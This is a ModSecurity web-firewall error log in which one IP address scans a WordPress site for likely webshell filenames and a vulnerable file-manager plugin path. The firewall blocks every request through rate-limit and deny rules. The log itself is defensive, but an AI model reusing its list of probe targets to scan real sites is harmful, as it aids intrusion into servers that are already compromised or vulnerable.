[Mon Apr 20 02:02:50.094157 2026] [:error] [pid 15693:tid 15697] [client 72.146.9.108:27132] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aeUYysNMD-ccazQlTslycwAAAUE"]
[Mon Apr 20 02:02:50.582131 2026] [:error] [pid 47775:tid 47864] [client 72.146.9.108:26350] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aeUYyrmztjlk9tsmoexE5wAAAJU"]
[Mon Apr 20 02:02:51.063924 2026] [:error] [pid 15694:tid 15725] [client 72.146.9.108:25846] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aeUYy7imB-jol1fwqAorcQAAAYI"]
[Mon Apr 20 02:02:51.561425 2026] [:error] [pid 15694:tid 15736] [client 72.146.9.108:25817] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeUYy7imB-jol1fwqAorcgAAAYo"]
[Mon Apr 20 02:02:52.030897 2026] [:error] [pid 15694:tid 15735] [client 72.146.9.108:27282] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeUYzLimB-jol1fwqAordQAAAYk"]
[Mon Apr 20 02:02:52.519684 2026] [:error] [pid 15694:tid 15738] [client 72.146.9.108:26280] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeUYzLimB-jol1fwqAoreAAAAYw"]
[Mon Apr 20 02:02:53.019126 2026] [:error] [pid 15694:tid 15740] [client 72.146.9.108:26645] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeUYzbimB-jol1fwqAorewAAAY4"]
[Mon Apr 20 02:02:53.500256 2026] [:error] [pid 47773:tid 47822] [client 72.146.9.108:27354] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeUYzeiBHdnCJDuPq9B3UgAAAEY"]
[Mon Apr 20 02:02:53.969952 2026] [:error] [pid 15694:tid 15748] [client 72.146.9.108:26688] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeUYzbimB-jol1fwqAorgAAAAZY"]
[Mon Apr 20 02:02:54.458341 2026] [:error] [pid 15694:tid 15738] [client 72.146.9.108:26358] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeUYzrimB-jol1fwqAorhAAAAYw"]
[Mon Apr 20 02:02:54.934864 2026] [:error] [pid 15760:tid 15772] [client 72.146.9.108:26352] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeUYzvSdD_XHQMJ_ISuwzAAAAcQ"]
[Mon Apr 20 02:02:55.422942 2026] [:error] [pid 15694:tid 15732] [client 72.146.9.108:26698] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeUYz7imB-jol1fwqAorhQAAAYY"]
[Mon Apr 20 02:02:55.940885 2026] [:error] [pid 47775:tid 47862] [client 72.146.9.108:27380] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeUYz7mztjlk9tsmoexE6QAAAJM"]
[Mon Apr 20 02:02:56.439954 2026] [:error] [pid 15694:tid 15742] [client 72.146.9.108:26732] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeUY0LimB-jol1fwqAorhwAAAZA"]
[Mon Apr 20 02:02:56.921775 2026] [:error] [pid 15765:tid 15858] [client 72.146.9.108:27117] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeUY0PRqinw-W5EwQ74eHwAAAoU"]
[Mon Apr 20 02:02:57.405155 2026] [:error] [pid 15693:tid 15707] [client 72.146.9.108:27046] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aeUY0cNMD-ccazQlTslydQAAAUs"]
[Mon Apr 20 02:02:57.885168 2026] [:error] [pid 47775:tid 47865] [client 72.146.9.108:26743] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aeUY0bmztjlk9tsmoexE8QAAAJY"]
[Mon Apr 20 02:02:58.358468 2026] [:error] [pid 47773:tid 47823] [client 72.146.9.108:27347] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aeUY0uiBHdnCJDuPq9B3WAAAAEc"]
[Mon Apr 20 02:02:58.892097 2026] [:error] [pid 47886:tid 47893] [client 72.146.9.108:26652] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aeUY0kSe8yiyuPrD7yOeEwAAAMU"]
[Mon Apr 20 02:02:59.396379 2026] [:error] [pid 47772:tid 47796] [client 72.146.9.108:27062] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "aeUY04c0L16cb4smAz8LPwAAAAc"]
[Mon Apr 20 02:02:59.892137 2026] [:error] [pid 15694:tid 15731] [client 72.146.9.108:27285] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "aeUY07imB-jol1fwqAorjwAAAYU"]
[Mon Apr 20 02:03:00.373561 2026] [:error] [pid 47886:tid 47904] [client 72.146.9.108:27356] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "aeUY1ESe8yiyuPrD7yOeFQAAANA"]
[Mon Apr 20 02:03:00.887027 2026] [:error] [pid 15765:tid 15875] [client 72.146.9.108:25820] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fi.php"] [unique_id "aeUY1PRqinw-W5EwQ74eIgAAApY"]
[Mon Apr 20 02:03:01.376721 2026] [:error] [pid 47772:tid 47802] [client 72.146.9.108:27309] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aeUY1Yc0L16cb4smAz8LQgAAAA0"]
[Mon Apr 20 02:03:01.902081 2026] [:error] [pid 15760:tid 15792] [client 72.146.9.108:26270] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aeUY1fSdD_XHQMJ_ISuw0AAAAdg"]
[Mon Apr 20 02:03:02.400736 2026] [:error] [pid 47772:tid 47790] [client 72.146.9.108:26266] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aeUY1oc0L16cb4smAz8LRQAAAAE"]
[Mon Apr 20 02:03:02.869789 2026] [:error] [pid 15694:tid 15739] [client 72.146.9.108:26729] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aeUY1rimB-jol1fwqAorkQAAAY0"]
[Mon Apr 20 02:03:03.371118 2026] [:error] [pid 47773:tid 47831] [client 72.146.9.108:27318] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aeUY1-iBHdnCJDuPq9B3WgAAAE8"]
[Mon Apr 20 02:03:03.904896 2026] [:error] [pid 15694:tid 15744] [client 72.146.9.108:26255] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aeUY17imB-jol1fwqAorlAAAAZI"]
[Mon Apr 20 02:03:04.648098 2026] [:error] [pid 15763:tid 15803] [client 72.146.9.108:25845] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aeUY2LMXv1Y1THOoxaA6pwAAAgc"]
[Mon Apr 20 02:03:05.136142 2026] [:error] [pid 15694:tid 15748] [client 72.146.9.108:27533] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aeUY2bimB-jol1fwqAorlwAAAZY"]
[Mon Apr 20 02:03:05.661692 2026] [:error] [pid 47772:tid 47805] [client 72.146.9.108:27342] [client 72.146.9.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeUY2Yc0L16cb4smAz8LSQAAABA"]
[Mon Apr 20 02:03:06.175125 2026] [:error] [pid 15694:tid 15741] [client 72.146.9.108:23866] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aeUY2rimB-jol1fwqAormwAAAY8"]
[Mon Apr 20 02:03:06.944774 2026] [:error] [pid 15760:tid 15770] [client 72.146.9.108:27032] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aeUY2vSdD_XHQMJ_ISuw0gAAAcI"]
[Mon Apr 20 02:03:07.468487 2026] [:error] [pid 15763:tid 15808] [client 72.146.9.108:27588] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aeUY27MXv1Y1THOoxaA6qgAAAgw"]
[Mon Apr 20 02:03:07.961734 2026] [:error] [pid 47886:tid 47902] [client 72.146.9.108:25466] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeUY20Se8yiyuPrD7yOeFgAAAM4"]
[Mon Apr 20 02:03:08.464144 2026] [:error] [pid 15763:tid 15800] [client 72.146.9.108:26322] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeUY3LMXv1Y1THOoxaA6rgAAAgQ"]
[Mon Apr 20 02:03:08.968322 2026] [:error] [pid 47772:tid 47790] [client 72.146.9.108:27522] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeUY3Ic0L16cb4smAz8LUAAAAAE"]
[Mon Apr 20 02:03:09.487704 2026] [:error] [pid 47772:tid 47794] [client 72.146.9.108:27569] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aeUY3Yc0L16cb4smAz8LVAAAAAU"]
[Mon Apr 20 02:03:09.960340 2026] [:error] [pid 15763:tid 15803] [client 72.146.9.108:27298] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeUY3bMXv1Y1THOoxaA6sAAAAgc"]
[Mon Apr 20 02:03:10.444994 2026] [:error] [pid 47772:tid 47804] [client 72.146.9.108:27289] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeUY3oc0L16cb4smAz8LWAAAAA8"]
[Mon Apr 20 02:03:10.990323 2026] [:error] [pid 15763:tid 15815] [client 72.146.9.108:26272] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeUY3rMXv1Y1THOoxaA6swAAAhM"]
[Mon Apr 20 02:03:11.474492 2026] [:error] [pid 15693:tid 15703] [client 72.146.9.108:27344] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aeUY38NMD-ccazQlTslyegAAAUc"]
[Mon Apr 20 02:03:11.944340 2026] [:error] [pid 47772:tid 47811] [client 72.146.9.108:26682] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeUY34c0L16cb4smAz8LXAAAABY"]
[Mon Apr 20 02:03:12.426862 2026] [:error] [pid 15694:tid 15748] [client 72.146.9.108:27529] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeUY4LimB-jol1fwqAornwAAAZY"]
[Mon Apr 20 02:03:13.014731 2026] [:error] [pid 47772:tid 47798] [client 72.146.9.108:27284] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeUY4Yc0L16cb4smAz8LXgAAAAk"]
[Mon Apr 20 02:03:13.559402 2026] [:error] [pid 47772:tid 47790] [client 72.146.9.108:26717] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeUY4Yc0L16cb4smAz8LXwAAAAE"]
[Mon Apr 20 02:03:14.051396 2026] [:error] [pid 15694:tid 15740] [client 72.146.9.108:23577] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aeUY4rimB-jol1fwqAorpAAAAY4"]
[Mon Apr 20 02:03:14.588217 2026] [:error] [pid 15763:tid 15807] [client 72.146.9.108:27626] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aeUY4rMXv1Y1THOoxaA6tAAAAgs"]
[Mon Apr 20 02:03:15.091634 2026] [:error] [pid 47775:tid 47856] [client 72.146.9.108:26321] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aeUY47mztjlk9tsmoexE-gAAAI0"]
[Mon Apr 20 02:03:15.581252 2026] [:error] [pid 47886:tid 47907] [client 72.146.9.108:27102] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aeUY40Se8yiyuPrD7yOeHAAAANM"]
[Mon Apr 20 02:03:16.062332 2026] [:error] [pid 15694:tid 15746] [client 72.146.9.108:27276] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aeUY5LimB-jol1fwqAorpwAAAZQ"]
[Mon Apr 20 02:03:16.569780 2026] [:error] [pid 15694:tid 15730] [client 72.146.9.108:26637] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aeUY5LimB-jol1fwqAorqQAAAYQ"]
[Mon Apr 20 02:03:17.040038 2026] [:error] [pid 15694:tid 15734] [client 72.146.9.108:27295] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aeUY5bimB-jol1fwqAorqwAAAYg"]
[Mon Apr 20 02:03:17.515112 2026] [:error] [pid 15694:tid 15726] [client 72.146.9.108:27334] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aeUY5bimB-jol1fwqAorrwAAAYM"]
[Mon Apr 20 02:03:18.009394 2026] [:error] [pid 47886:tid 47909] [client 72.146.9.108:27133] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "aeUY5kSe8yiyuPrD7yOeHgAAANU"]
